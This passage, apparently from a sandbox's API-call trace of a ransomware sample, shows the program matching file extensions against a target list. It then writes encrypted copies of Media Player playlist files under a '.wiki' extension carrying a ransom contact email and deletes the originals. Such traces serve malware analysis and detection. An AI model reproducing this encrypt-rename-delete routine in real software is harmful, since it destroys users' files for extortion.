(lpString1=".pdf", lpString2="k[1]") returned -1 [0180.580] lstrlenW (lpString=".xls") returned 4 [0180.580] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0180.580] lstrlenW (lpString=".xlsx") returned 5 [0180.581] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0180.581] lstrlenW (lpString=".ppt") returned 4 [0180.581] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.581] lstrlenW (lpString=".zip") returned 4 [0180.581] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString=".rar") returned 4 [0180.581] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString=".bz2") returned 4 [0180.581] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString=".7z") returned 3 [0180.581] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0180.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.581] lstrlenW (lpString=".dbf") returned 4 [0180.581] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.581] lstrlenW (lpString=".1cd") returned 4 [0180.581] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.581] lstrlenW (lpString=".jpg") returned 4 [0180.581] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.581] lstrlenW (lpString=".doc") returned 4 [0180.581] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0180.581] lstrlenW (lpString=".docx") returned 5 [0180.582] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0180.582] lstrlenW (lpString=".pdf") returned 4 [0180.582] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString=".xls") returned 4 [0180.582] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString=".xlsx") returned 5 [0180.582] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0180.582] lstrlenW (lpString=".ppt") returned 4 [0180.582] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.582] lstrlenW (lpString=".zip") returned 4 [0180.582] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString=".rar") returned 4 [0180.582] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString=".bz2") returned 4 [0180.582] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString=".7z") returned 3 [0180.582] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0180.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.582] lstrlenW (lpString=".dbf") returned 4 [0180.582] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.582] lstrlenW (lpString=".1cd") returned 4 [0180.582] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0180.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.582] lstrlenW (lpString=".jpg") returned 4 [0180.582] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0180.583] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.583] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34 [0180.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.583] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1267) returned 1 [0180.583] CloseHandle (hObject=0x158) returned 1 [0180.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl")) returned 0x2020 [0180.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.584] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.584] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.584] GetLastError () returned 0x0 [0180.584] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x4f3, lpOverlapped=0x0) returned 1 [0180.586] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x500, lpOverlapped=0x0) returned 1 [0180.587] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.587] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.587] SetEndOfFile (hFile=0x19c) returned 1 [0180.588] CloseHandle (hObject=0x19c) returned 1 [0180.588] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.588] SetEndOfFile (hFile=0x158) returned 1 [0180.588] CloseHandle (hObject=0x158) returned 1 [0180.589] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.589] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl")) returned 1 [0180.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.589] lstrlenW (lpString=".doc") returned 4 [0180.589] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.589] lstrlenW (lpString=".docx") returned 5 [0180.589] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.589] lstrlenW (lpString=".pdf") returned 4 [0180.589] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.589] lstrlenW (lpString=".xls") returned 4 [0180.589] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.589] lstrlenW (lpString=".xlsx") returned 5 [0180.590] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.590] lstrlenW (lpString=".ppt") returned 4 [0180.590] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.590] lstrlenW (lpString=".zip") returned 4 [0180.590] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.590] lstrlenW (lpString=".rar") returned 4 [0180.590] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString=".bz2") returned 4 [0180.590] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString=".7z") returned 3 [0180.590] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.590] lstrlenW (lpString=".dbf") returned 4 [0180.590] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.590] lstrlenW (lpString=".1cd") returned 4 [0180.590] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.590] lstrlenW (lpString=".jpg") returned 4 [0180.590] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.590] lstrlenW (lpString=".doc") returned 4 [0180.590] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString=".docx") returned 5 [0180.590] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.590] lstrlenW (lpString=".pdf") returned 4 [0180.590] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.590] lstrlenW (lpString=".xls") returned 4 [0180.590] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.591] lstrlenW (lpString=".xlsx") returned 5 [0180.591] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.591] lstrlenW (lpString=".ppt") returned 4 [0180.591] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.591] lstrlenW (lpString=".zip") returned 4 [0180.591] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.591] lstrlenW (lpString=".rar") returned 4 [0180.591] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.591] lstrlenW (lpString=".bz2") returned 4 [0180.591] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.591] lstrlenW (lpString=".7z") returned 3 [0180.591] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.591] lstrlenW (lpString=".dbf") returned 4 [0180.591] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.591] lstrlenW (lpString=".1cd") returned 4 [0180.591] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.591] lstrlenW (lpString=".jpg") returned 4 [0180.591] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.591] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.591] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37 [0180.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.592] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1284) returned 1 [0180.592] CloseHandle (hObject=0x158) returned 1 [0180.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl")) returned 0x2020 [0180.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.592] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.592] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.593] GetLastError () returned 0x0 [0180.593] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x504, lpOverlapped=0x0) returned 1 [0180.594] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x510, lpOverlapped=0x0) returned 1 [0180.595] ReadFile (in: hFile=0x158, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.595] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x11e, lpOverlapped=0x0) returned 1 [0180.595] SetEndOfFile (hFile=0x19c) returned 1 [0180.595] CloseHandle (hObject=0x19c) returned 1 [0180.596] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.596] SetEndOfFile (hFile=0x158) returned 1 [0180.596] CloseHandle (hObject=0x158) returned 1 [0180.596] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.597] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl")) returned 1 [0180.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.597] lstrlenW (lpString=".doc") returned 4 [0180.597] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.597] lstrlenW (lpString=".docx") returned 5 [0180.597] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.597] lstrlenW (lpString=".pdf") returned 4 [0180.597] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.597] lstrlenW (lpString=".xls") returned 4 [0180.597] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.597] lstrlenW (lpString=".xlsx") returned 5 [0180.597] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.597] lstrlenW (lpString=".ppt") returned 4 [0180.597] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.597] lstrlenW (lpString=".zip") returned 4 [0180.597] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.597] lstrlenW (lpString=".rar") returned 4 [0180.597] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.597] lstrlenW (lpString=".bz2") returned 4 [0180.597] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.597] lstrlenW (lpString=".7z") returned 3 [0180.597] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.598] lstrlenW (lpString=".dbf") returned 4 [0180.598] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.598] lstrlenW (lpString=".1cd") returned 4 [0180.598] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.598] lstrlenW (lpString=".jpg") returned 4 [0180.598] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.598] lstrlenW (lpString=".doc") returned 4 [0180.598] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString=".docx") returned 5 [0180.598] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.598] lstrlenW (lpString=".pdf") returned 4 [0180.598] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString=".xls") returned 4 [0180.598] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.598] lstrlenW (lpString=".xlsx") returned 5 [0180.598] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.598] lstrlenW (lpString=".ppt") returned 4 [0180.598] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.598] lstrlenW (lpString=".zip") returned 4 [0180.598] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.598] lstrlenW (lpString=".rar") returned 4 [0180.598] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString=".bz2") returned 4 [0180.598] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.598] lstrlenW (lpString=".7z") returned 3 [0180.599] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.599] lstrlenW (lpString=".dbf") returned 4 [0180.599] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.599] lstrlenW (lpString=".1cd") returned 4 [0180.599] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.599] lstrlenW (lpString=".jpg") returned 4 [0180.599] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.599] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.599] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39 [0180.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.599] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=797) returned 1 [0180.599] CloseHandle (hObject=0x158) returned 1 [0180.600] 